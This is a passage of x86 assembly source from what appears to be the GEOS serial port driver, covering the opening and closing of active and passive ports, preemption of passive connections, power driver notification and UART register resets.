mov di, DR_STREAM_SET_THRESHOLD
call StreamStrategy
;
; If there is a passive connection in progress, preempt it
; with a call to SerialResetVector and copy any data in the
; passive buffer to the just-created active input buffer.
;
mov di, ds:[si].SPD_otherPortData
IsPortOpen di ; passive port in use?
jg doneOK ; jump if no passive connection
call SerialCopyPassiveData
doneOK:
clc
done:
.leave
ret
SerialInitOutput endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SerialCopyPassiveData
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Copy data out of passive port, now the output stream has been
successfully created.
CALLED BY: (INTERNAL) SerialInitOutput
PASS: ds:si = SerialPortData for active
ds:di = SerialPortData for passive
RETURN: nothing
DESTROYED: ax, bx, cx, di
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 2/ 8/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SerialCopyPassiveData proc near
uses ds, si
.enter
mov_tr ax, si ; ax <- active port data
mov si, di ; pass passive port data in si
mov di, ds:[di].SPD_vector ; di <- passive vector
call SerialResetVector
;
; copy data from the passive buffer to the active. (note that we can't
; use SD_reader.SSD_sem, as that gets adjusted by reads...)
;
mov di, si ; di <- passive port data
mov_tr si, ax ; si <- active port data
mov bx, ds:[si].SPD_inStream; bx <- active input stream
mov ds, ds:[di].SPD_inStream; ds <- passive input stream
mov si, offset SD_data ; ds:si <- source for copy
mov cx, ds:[SD_writer].SSD_ptr; cx <- number of bytes in
sub cx, si ; the passive buffer
jz done ; jump if nothing to copy
mov ax, STREAM_NOBLOCK ; we want as much as possible
mov di, DR_STREAM_WRITE
call StreamStrategy ; Ignore results...
;
; Clear out the passive port's data buffer.
;
mov bx, ds ; bx <- passive input stream
mov di, DR_STREAM_FLUSH
call StreamStrategy
;
; Reset the passive port's input stream pointer to the head of the
; buffer. Must change both reader and writer pointers because
; they must be equal when the stream is empty!!
;
mov ds:SD_writer.SSD_ptr, offset SD_data
mov ds:SD_reader.SSD_ptr, offset SD_data
done:
.leave
ret
SerialCopyPassiveData endp
OpenClose ends
Resident segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SerialBufferPowerChange
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: The transmit interrupt has changed, so let the power driver
know, if this port is a standard serial port (i.e. not
PCMCIA)
CALLED BY: (EXTERNAL) SerialReestablishState,
SerialEnableTransmit,
PASS: ds:si = SerialPortData
RETURN: nothing
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 2/22/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SerialBufferPowerChange proc near
.enter
cmp ds:[si].SPD_socket, -1
jne done ; => is PCMCIA
push cx
mov cx, 1
call NotifyPowerDriver
pop cx
done:
.leave
ret
SerialBufferPowerChange endp
COMMENT @----------------------------------------------------------------------
FUNCTION: NotifyPowerDriver
DESCRIPTION: Notify the power management driver that a serial port
has opened or closed
CALLED BY: INTERNAL
PASS:
cx = non-zero for open, zero for close
ds:si = SerialPortData for the port
RETURN:
none
DESTROYED:
cx
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 2/16/92 Initial version
------------------------------------------------------------------------------@
NotifyPowerDriver proc far uses ax, bx, dx, di
.enter
;
; If port is in a PCMCIA socket, specify that device instead.
;
cmp ds:[si].SPD_socket, -1
je passSerialInfo
mov ax, PDT_PCMCIA_SOCKET
mov bx, ds:[si].SPD_socket
mov dx, mask PCMCIAPI_NO_POWER_OFF ; do not allow power-off while
; this device is open
;
; If this is a passive connection, then allow power-off after all.
; If possible, have the machine wake up if there is data coming in from
; the PCMCIA port.
;
test ds:[si].SPD_passive, mask SPS_PASSIVE
jz notifyDriver
;
; Passive it is.
;
mov dx, mask PCMCIAPI_WAKE_UP_ON_INTERRUPT
jmp notifyDriver
passSerialInfo:
;
; Convert SerialPortNum into a 0-based index, with the SERIAL_PASSIVE
; bit still set in the high bit, if necessary.
;
mov bx, ds:[si].SPD_portNum
sar bx, 1 ; (duplicates SERIAL_PASSIVE)
andnf bx, not (SERIAL_PASSIVE shr 1) ; clear duplicate SERIAL_PASSIVE
; in bit 14, please
mov ax, PDT_SERIAL_PORT
clr dx
mov dl, ds:[si].SPD_ioMode
ornf dx, mask SPI_CONTROLS
test ds:[si].SPD_ien, mask SIEN_DATA_AVAIL
jz checkXmit
ornf dx, mask SPI_RECEIVE
checkXmit:
test ds:[si].SPD_ien, mask SIEN_TRANSMIT
jz notifyDriver
ornf dx, mask SPI_TRANSMIT
.assert $ eq notifyDriver
notifyDriver:
mov di, DR_POWER_DEVICE_ON_OFF
call SerialCallPowerDriver
.leave
ret
NotifyPowerDriver endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SerialCallPowerDriver
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: make a call into the power driver
CALLED BY: (EXTERNAL) NotifyPowerDriver,
SerialCheckExists (zoomer only)
PASS: di = call to make
ax,bx = args to power driver
ds = dgroup
RETURN: Void.
DESTROYED: di?
PSEUDOCODE/STRATEGY:
KNOWN BUGS/SIDEFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jimmy 5/20/93 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SerialCallPowerDriver proc far
.enter
;
; Get the strategy routine once, if there's a power driver in the
; system.
;
push ax, bx
mov ax, ds:[powerStrat].segment
inc ax
jz noDriver ; => was -1, so power driver sought
; before and not found
dec ax
jnz haveStrategy ; => was neither -1 nor 0, so have
; strategy already
mov ds:[powerStrat].segment, -1 ; assume no power driver
mov ax, GDDT_POWER_MANAGEMENT
call GeodeGetDefaultDriver
tst ax
jz noDriver
mov_tr bx, ax ; bx <- driver
push ds, si
call GeodeInfoDriver
movdw axbx, ds:[si].DIS_strategy
pop ds, si
movdw ds:[powerStrat], axbx
haveStrategy:
pop ax, bx
call ds:[powerStrat]
done:
.leave
ret
noDriver:
pop ax, bx
jmp done
SerialCallPowerDriver endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SerialResetPortPC
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: reset a PC-like serial port
CALLED BY: SerialResetPort
PASS: ds:si = SerialPortData
ds:bx = SerialPortState
RETURN: Void.
DESTROYED: ax, dx
PSEUDOCODE/STRATEGY:
KNOWN BUGS/SIDEFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jimmy 5/ 3/93 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
; this is a useful little macro to check for bogus interrupt requests coming
; in for my com3. Since we can now handle those, it's if'ed out, but I might
; need it again some day... note that it relies on an out 0xa0, 0xa having
; been done, to set the PIC to returning the IRR
chkirr macro
if 0
local q
mov cx, 2000
q:
in al, 0xa0
test al, 2
loope q
ERROR_NZ -1
endif
endm
SerialResetPortPC proc far
.enter
chkirr
mov dx, ds:[si].SPD_base
;
; This is the action that can cause a spurious interrupt when
; the chip is degated from the bus by our resetting OUT2, so
; we do it first to give the system time to generate its spurious
; interrupt while we've still got control of the vector...
;
add dx, offset SP_modemCtrl ; first reset OUT2 et al
mov al, ds:[bx].SPS_modem
out dx, al
chkirr
; now, the enabled interrupts
add dx, offset SP_ien - offset SP_modemCtrl
mov al, ds:[bx].SPS_ien
out dx, al
chkirr
add dx, offset SP_lineCtrl - offset SP_ien
mov al, ds:[bx].SPS_format
mov ah, al
ornf al, mask SF_DLAB
out dx, al ; reset baud-rate now
chkirr
jmp $+2
mov al, ds:[bx].SPS_baud.low
add dx, offset SP_divLow - offset SP_lineCtrl
out dx, al
chkirr
inc dx
mov al, ds:[bx].SPS_baud.high
out dx, al
chkirr
jmp $+2
mov al, ah ; now the line format
add dx, offset SP_lineCtrl - offset SP_divHigh
out dx, al
chkirr
;
; Mess with the FIFO state. If we're resetting the port to its
; initial state, turn off FIFOs if no passive open remains. If we're
; reestablishing the port's state (i.e. bx is SPD_curState), we
; turn them back on again.
;
test ds:[si].SPD_flags, mask SPF_FIFO
jz done ; => FIFO not enabled
add dx, offset SP_iid - offset SP_lineCtrl
lea ax, ds:[si].SPD_curState
cmp bx, ax
je turnFIFOsBackOn
test ds:[si].SPD_passive, mask SPS_PASSIVE
jnz resetFIFO ; => closing passive, so do reset
push si
mov si, ds:[si].SPD_otherPortData
IsPortOpen si
pop si
jng done ; => passive still open, so leave alone
resetFIFO:
clr al
setFIFO:
out dx, al
done:
.leave
ret
turnFIFOsBackOn:
mov al, mask SFC_ENABLE or mask SFC_XMIT_RESET or \
mask SFC_RECV_RESET or \
(FIFO_RECV_THRESHOLD_SFS shl offset SFC_SIZE)
jmp setFIFO
SerialResetPortPC endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SerialReestablishState
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Reprogram the port to match the state most-recently set for
it, to cope with power having been lost, for example.
(Must be Resident for PCMCIA support)
CALLED BY: DR_SERIAL_REESTABLISH_STATE
PASS: ds:bx = SerialPortData for the port
RETURN: nothing
DESTROYED: ax, bx, di
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
We alter the state a bit by turning the transmitter interrupt
on so any aborted outputs will actually get started up
automatically. If there's nothing in the output stream, this
just causes an extra interrupt, but does no harm.
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 9/13/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SerialReestablishState proc near
uses si
.enter
andnf ds:[bx].SPD_flags, not mask SPF_PORT_GONE
mov si, bx
lea bx, ds:[si].SPD_curState
ornf ds:[bx].SPS_ien, mask SIEN_TRANSMIT
;
; Make sure the transmit buffers are enabled for the nonce.
;
call SerialBufferPowerChange
call SerialResetPortPC
.leave
ret
SerialReestablishState endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SerialPortAbsent
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Note that a port is temporarily AWOL
CALLED BY: DR_SERIAL_PORT_ABSENT
PASS: ds:bx = SerialPortData for the port
RETURN: nothing
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 10/ 7/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SerialPortAbsent proc near
.enter
ornf ds:[bx].SPD_flags, mask SPF_PORT_GONE
.leave
ret
SerialPortAbsent endp
Resident ends
OpenClose segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SerialResetPort
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Reset a port to its initial state, as saved in its
SerialPortData descriptor.
CALLED BY: SerialEnsureClosed, SerialClose
PASS: ds:si = SerialPortData
RETURN: nothing
DESTROYED: dx, ax
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 9/29/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SerialResetPort proc near uses cx, bx
.enter
;
; Tell the power management driver that we are done with the port
;
push cx
clr cx
call NotifyPowerDriver
pop cx
;
; Use the reset routines to restore the port to its initial state.
;
INT_OFF
if 0 ; for chkirr macro...
mov al, 10
out 0xa0, al
endif
lea bx, ds:[si].SPD_initState
call SerialResetPortPC
INT_ON
.leave
ret
SerialResetPort endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SerialOpen
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Open one of the serial ports
CALLED BY: DR_STREAM_OPEN, DR_SERIAL_OPEN_FOR_DRIVER (SerialStrategy)
PASS: ax = StreamOpenFlags record. SOF_NOBLOCK and SOF_TIMEOUT
are exclusive.
bx = port number to open
cx = total size of input buffer
dx = total size of output buffer
bp = timeout value if SOF_TIMEOUT given in ax
ds = dgroup
si = owner handle, if DR_STREAM_OPEN_FOR_DRIVER
RETURN: carry set if port couldn't be opened:
ax = STREAM_NO_DEVICE if device doesn't exist
STREAM_DEVICE_IN_USE if SOF_NOBLOCK or
SOF_TIMEOUT given and device is already open/
timeout period expired.
carry set and ax = STREAM_ACTIVE_IN_USE if a passive
port was opened in a PREEMPTED state.
carry clear if port opened
ds:bx = SerialPortData for port
DESTROYED: cx, dx, bp, bx (preserved by SerialStrategy)
See KNOWN BUGS below.
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
By default, though, flow control is turned off. In order to do flow
control at driver level, you need to call DR_SERIAL_SET_FLOW_CONTROL,
DR_SERIAL_ENABLE_FLOW_CONTROL, and DR_SERIAL_SET_ROLE( for H/W fc ).
BUG: It is a bug that cx, dx and bp are destroyed, since they should
be preserved according to DR_STREAM_OPEN and
DR_SERIAL_OPEN_FOR_DRIVER. But since this bug already exists
in shipped products, we decide to keep the bug and document it
here instead of fixing it.
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 1/14/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DefStub SerialOpen
SerialOpen proc far uses si, di
.enter
call SerialGetPortDataFAR ; ds:bx <- SerialPortData
xchg si, bx
tst ds:[si].SPD_base
jz portExistethNot
;
; Open passive ports elsewhere.
;
test ds:[si].SPD_passive, mask SPS_PASSIVE
jz openActive
call SerialPassiveOpen
jmp exit
openActive:
EC < test ax, not StreamOpenFlags >
EC < ERROR_NZ OPEN_BAD_FLAGS >
EC < test ax, mask SOF_NOBLOCK or mask SOF_TIMEOUT >
EC < jz 10$ ; neither is ok >
EC < jpo 10$ ; just one is fine >
EC < ERROR OPEN_BAD_FLAGS >
EC <10$: >
test ax, mask SOF_NOBLOCK or mask SOF_TIMEOUT
jnz noBlockOpenPort
push bx
mov bx, ds:[si].SPD_openSem
PSem ds, [bx] ; Wait for port to be available
pop bx
afterPortOpen:
;
; Set the reference count to 2: one for the thing being open (will
; be reduced in SerialClose) and one for this call (in case someone
; closes the thing while we're opening it, or something ludicrous
; like that)
;
mov ds:[si].SPD_refCount, 2
;
; This port is free for an active connection. Do we have a
; passive connection which we can preempt?
;
mov si, ds:[si].SPD_otherPortData ; si <- passive port
IsPortOpen si ; passive connection?
jg continueOpening ; jump if no passive
;
; There is a passive connection in progress. Preempt the
; passive connection then continue with the usual connection
; procedure. When we have an input stream, we'll copy the
; data from the passive connection's input stream.
;
call SerialPreemptPassive
continueOpening:
mov si, ds:[si].SPD_otherPortData ; si <- active port
cmp di, DR_SERIAL_OPEN_FOR_DRIVER
je 15$ ; => bx already contains owner
call GeodeGetProcessHandle ; Stream owned by opener
15$:
call SerialInitPort
exit:
mov bx, si ; ds:bx <- SerialPortData, in
; case successful open
;
; interrupt stat
; ds:si - SerialPortData
;
IS < pushf >
IS < call SerialResetStatVar >
IS < popf >
.leave
ret
portExistethNot:
mov ax, STREAM_NO_DEVICE
stc
jmp exit
noBlockOpenPort:
;
; Perform a non-blocking PSem on the openSem for a port. We
; also come here if just have a timeout option -- in the case
; of a non-blocking one, we just have a timeout value of 0...
;
test ax, mask SOF_TIMEOUT
jnz 20$
clr bp
20$:
push bx
mov bx, ds:[si].SPD_openSem
PTimedSem ds, [bx], bp
pop bx
jnc afterPortOpen
mov ax, STREAM_DEVICE_IN_USE
jmp exit
SerialOpen endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SerialPassiveOpen
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Attempts to open passive serial port connections ala
SerialOpen. It's identical in intent to SerialOpen,
but the arguments and actions are slightly different:
* There are no StreamOpenFlags; passive opens are always
SOF_NOBLOCK.
* There is no output buffer in passive port connections.
CALLED BY: SerialOpen
PASS: ds:si = SerialPortData for this port
cx = input buffer size
bx = owner handle, if DR_STREAM_OPEN_FOR_DRIVER
RETURN: carry set and ax set to one of the following:
ax = STREAM_NO_DEVICE if device doesn't exist
= STREAM_DEVICE_IN_USE if the passive port is in use.
= STREAM_ACTIVE_IN_USE if the passive port was opened
in a PREEMPTED state.
carry clear if the port opened with no problems.
DESTROYED: cx, dx, bp, bx
(preserved by SerialStrategy or SerialOpen)
REVISION HISTORY:
Name Date Description
---- ---- -----------
jdashe 5/25/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SerialPassiveOpen proc near
uses si, di
.enter
EC < call ECSerialVerifyPassive >
tst ds:[si].SPD_base
LONG jz portExistethNot
;
; If there is already a passive connection in progress, the
; open fails.
;
push bx
mov bx, ds:[si].SPD_openSem
PTimedSem ds, [bx], 0
pop bx
jc deviceInUse
;
; Set the reference count to 2: one for the thing being open (will
; be reduced in SerialClose) and one for this call (in case someone
; closes the thing while we're opening it, or something ludicrous
; like that)
;
mov ds:[si].SPD_refCount, 2
;
; The port exists. Initialize its status flags.
;
andnf ds:[si].SPD_passive, not (mask SPS_BUFFER_FULL or mask SPS_PREEMPTED)
;
; If there is not an active connection in progress, open the port
; normally. Otherwise, set up the passive connection as a
; preempted port.
;
mov si, ds:[si].SPD_otherPortData ; si <- active port
IsPortOpen si
mov si, ds:[si].SPD_otherPortData ; si <- passive port
jg afterPortOpen
ornf ds:[si].SPD_passive, mask SPS_PREEMPTED
afterPortOpen:
;
; Open the port (or set things up if the port is preempted).
;
cmp di, DR_SERIAL_OPEN_FOR_DRIVER
je 15$ ; => bx already contains owner
call GeodeGetProcessHandle ; Stream owned by opener
15$:
call SerialInitPort
jc exit
;
; If this port is opening preempted, copy the current state of
; the active port into the passive port's current and initial state.
;
test ds:[si].SPD_passive, mask SPS_PREEMPTED
jz doneOK ; jump if not opening preempted
push es, si
segmov es, ds, cx
mov di, ds:[si].SPD_otherPortData ; di <- active port
add di, SPD_initState
add si, SPD_initState
xchg di, si
;
; di - passive port's SPD_initState
; si - active port's SPD_initState
;
mov cx, size SerialPortState
call SysEnterCritical
rep movsb
call SysExitCritical
;
; Copy the same data for the passive's curState.
;
mov cx, size SerialPortState
sub di, cx
mov si, di ; si <- passive's initState
sub di, cx ; di <- passive's curState
CheckHack < SPD_curState eq (SPD_initState - size SerialPortState) >
rep movsb
pop es, si
mov ax, STREAM_ACTIVE_IN_USE
openFailed:
stc
jmp exit
doneOK:
clc
exit:
.leave
ret
portExistethNot:
mov ax, STREAM_NO_DEVICE
jmp openFailed
deviceInUse:
mov ax, STREAM_DEVICE_IN_USE
jmp openFailed
SerialPassiveOpen endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SerialPreemptPassive
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: This function deals with preempting a passive
connection with an active one.
CALLED BY: SerialOpen
PASS: ds:si = SerialPortData for the passive port to be preempted
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
* Notify the passive owner that the connection is being
preempted.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jeremy 5/16/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SerialPreemptPassive proc near
uses cx
.enter
EC < test ds:[si].SPD_passive, mask SPS_PASSIVE >
EC < ERROR_Z NOT_A_PASSIVE_PORT >
EC < call ECSerialVerifyPassive >
;
; Set the preempted flag.
;
or ds:[si].SPD_passive, mask SPS_PREEMPTED
mov cx, mask SPNS_PREEMPTED or mask SPNS_PREEMPTED_CHANGED
call SerialPassiveNotify
.leave
ret
SerialPreemptPassive endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SerialClose
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Close an open serial port.
CALLED BY: DR_STREAM_CLOSE (SerialStrategy)
PASS: ds:bx = SerialPortData for the port
ax = STREAM_LINGER if should wait for pending data
to be read before closing. STREAM_DISCARD if
can just throw it away.
NOTE: passive ports don't have output
buffers, so ax is ignored.
RETURN: nothing
DESTROYED: ax, bx
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 1/15/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DefStub SerialClose
SerialClose proc far uses si, di, cx, dx
.enter
mov si, bx
;
; serial Stat
; ds:si = current SerialPortData
;
IS < call SerialWriteOutStat >
test ds:[si].SPD_passive, mask SPS_PASSIVE
jz notPassive
CheckHack <STREAM_DISCARD eq 0>
clr ax
EC < call ECSerialVerifyPassive >
EC < jmp axOK >
notPassive:
EC < call ECSerialVerifyActive >
EC < cmp ax, STREAM_LINGER >
EC < je axOK >
EC < cmp ax, STREAM_DISCARD >
EC < ERROR_NE AX_NOT_STREAM_LINGER_OR_STREAM_DISCARD >
EC <axOK: >
mov cx, ax
;
; Turn off all but transmit interrupts for the port first.
;
CheckHack <STREAM_LINGER eq -1 AND STREAM_DISCARD eq 0>
andnf al, ds:[si].SPD_ien ; If discarding, this will
; result in al==0, disabling
; *all* interrupts, which
; will prevent us using a
; dead stream in the interrupt
; routine. If lingering, this
; will just give us SPD_ien
andnf al, mask SIEN_MODEM or mask SIEN_TRANSMIT
jcxz dontWorryAboutSTOPBit
test ds:[si].SPD_mode, mask SF_SOFTSTOP
jz dontWorryAboutSTOPBit
;
; If output is currently stopped and we're lingering, we must
; continue to get DATA_AVAIL interrupts so we can get the XON
; character that turns output back on again...
;
mov ah, mask SIEN_DATA_AVAIL
dontWorryAboutSTOPBit:
mov dx, ds:[si].SPD_base
add dx, offset SP_ien
or al, ah ; or in correct DATA_AVAIL bit
;
; If this is a preempted passive port, no touchie the
; hardware, please.
;
test ds:[si].SPD_passive, mask SPS_PREEMPTED
EC < jz biffHardware >
EC < pushf >
EC < call ECSerialVerifyPassive ; sets ZF >
EC < popf >
EC <biffHardware: >
jnz nukeInputStream ; jump if preempted
out dx, al
nukeInputStream:
;
; Shut down the input stream first, discarding any remaining
; data. The thing will be freed by SerialStrategy when the
; ref count goes to 0.
;
mov bx, ds:[si].SPD_inStream
mov ax, STREAM_DISCARD
call StreamShutdown
;
; If this is a passive buffer, we don't have an output stream.
;
test ds:[si].SPD_passive, mask SPS_PASSIVE
jnz outStreamGone
;
; Now biff the output stream, passing whatever linger/discard
; constant we were given.
;
mov ax, cx
mov bx, ds:[si].SPD_outStream
call StreamShutdown
outStreamGone:
;
; If this is a preempted port, we are not intercepting
; interrupts, nor do we need to reset the port. We do need to
; update the active port's initState with the passive's,
; however, so when the active closes down it will reset the
; port to its original state.
;
test ds:[si].SPD_passive, mask SPS_PREEMPTED
jz nukeInterrupts
EC < call ECSerialVerifyPassive >
push es, cx, di, si
segmov es, ds, cx
mov di, ds:[si].SPD_otherPortData
add di, SPD_initState
add si, SPD_initState
mov cx, size SerialPortState
call SysEnterCritical
rep movsb
call SysExitCritical
pop es, cx, di, si
jmp vPort
nukeInterrupts:
;
; Turn off all interrupts for the port, now the streams are gone.
;
mov dx, ds:[si].SPD_base
add dx, offset SP_ien
clr al
out dx, al
;
; Reset the modem-event notifier.
;
mov ds:[si].SPD_modemEvent.SN_type, SNM_NONE
;
; Restore the initial state of the port before resetting the vector,,
; as tri-stating the IRQ line can have the nasty side-effect of
; allowing the interrupt line to float, thereby triggering a spurious
; interrupt. Since our interrupt code deals with not having any
; streams to use, it's safe to let it handle any spurious interrupts
; this resetting can generate.
;
call SerialResetPort
;
; Reset the appropriate interrupt vector to its earlier condition.
;
mov di, ds:[si].SPD_vector
call SerialResetVector
;
; We're ready to V the semaphore if this is a passive port.
;
test ds:[si].SPD_passive, mask SPS_PASSIVE
jnz vPort
;
; We're closing down an active port. Is there a passive port
; that needs to be reawakened?
;
mov di, ds:[si].SPD_otherPortData ; ds:di <- passive port
IsPortOpen di
jg vPort ; jump if no passive connection
;
; There is indeed a passive open that needs dealing with.
; Redo the passive's SerialInitVector and send a notification
; to the passive owner that it's back in business.
;
xchg si, di ; ds:si <- passive port
andnf ds:[si].SPD_passive, not (mask SPS_PREEMPTED)
;
; Intercept the device's interrupt vector.
;
mov di, ds:[si].SPD_vector ; Record vector
mov bx, segment Resident
call SerialInitVector
mov cx, 0xffff ; cx <- large size
call SerialInitHWPC
;
; Notify the owner of the passive port that the passive port
; is back in action.
;
mov cx, mask SPNS_PREEMPTED_CHANGED
call SerialPassiveNotify
;
; In case there's a pending active port, V the closing active
; port's semaphore.
;
mov si, ds:[si].SPD_otherPortData
vPort:
;
; We used to V the openSem here, but now we do it in SerialStrategy
; when the refCount goes to 0.
;
dec ds:[si].SPD_refCount
EC < ERROR_Z REF_COUNT_UNDERFLOW >
.leave
ret
SerialClose endp
OpenClose ends
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SerialCloseWithoutReset
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Close down an open port without resetting it to its initial
condition. Useful for PCAO, mostly.
CALLED BY: DR_SERIAL_CLOSE_WITHOUT_RESET
PASS: ds:bx = SerialPortData for the port
ax = STREAM_LINGER if should wait for pending data
to be read before closing. STREAM_DISCARD if
can just throw it away.
RETURN: port interrupts are off, but all other attributes of the
port remain untouched (except it's closed from our perspective).
DESTROYED: ax, bx
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 11/ 8/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DefStub SerialCloseWithoutReset
OpenClose segment
SerialCloseWithoutReset proc far uses si, es, cx
.enter
;
; Just store the current state of the port as its initial state, so
; SerialResetPort won't do anything to it.
;
lea si, ds:[bx].SPD_curState
lea di, ds:[bx].SPD_initState
mov cx, size SPD_initState
segmov es, ds
rep movsb
mov si, bx
;
; Do not leave any interrupts on when we've closed the thing. This
; prevents us from dying horribly should a byte come in after we've
; closed but before the system has been shut down.
;
mov ds:[si].SPD_initState.SPS_ien, 0
;
; And close the port normally.
;
call SerialClose
.leave
ret
SerialCloseWithoutReset endp
OpenClose ends
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SerialSetNotify
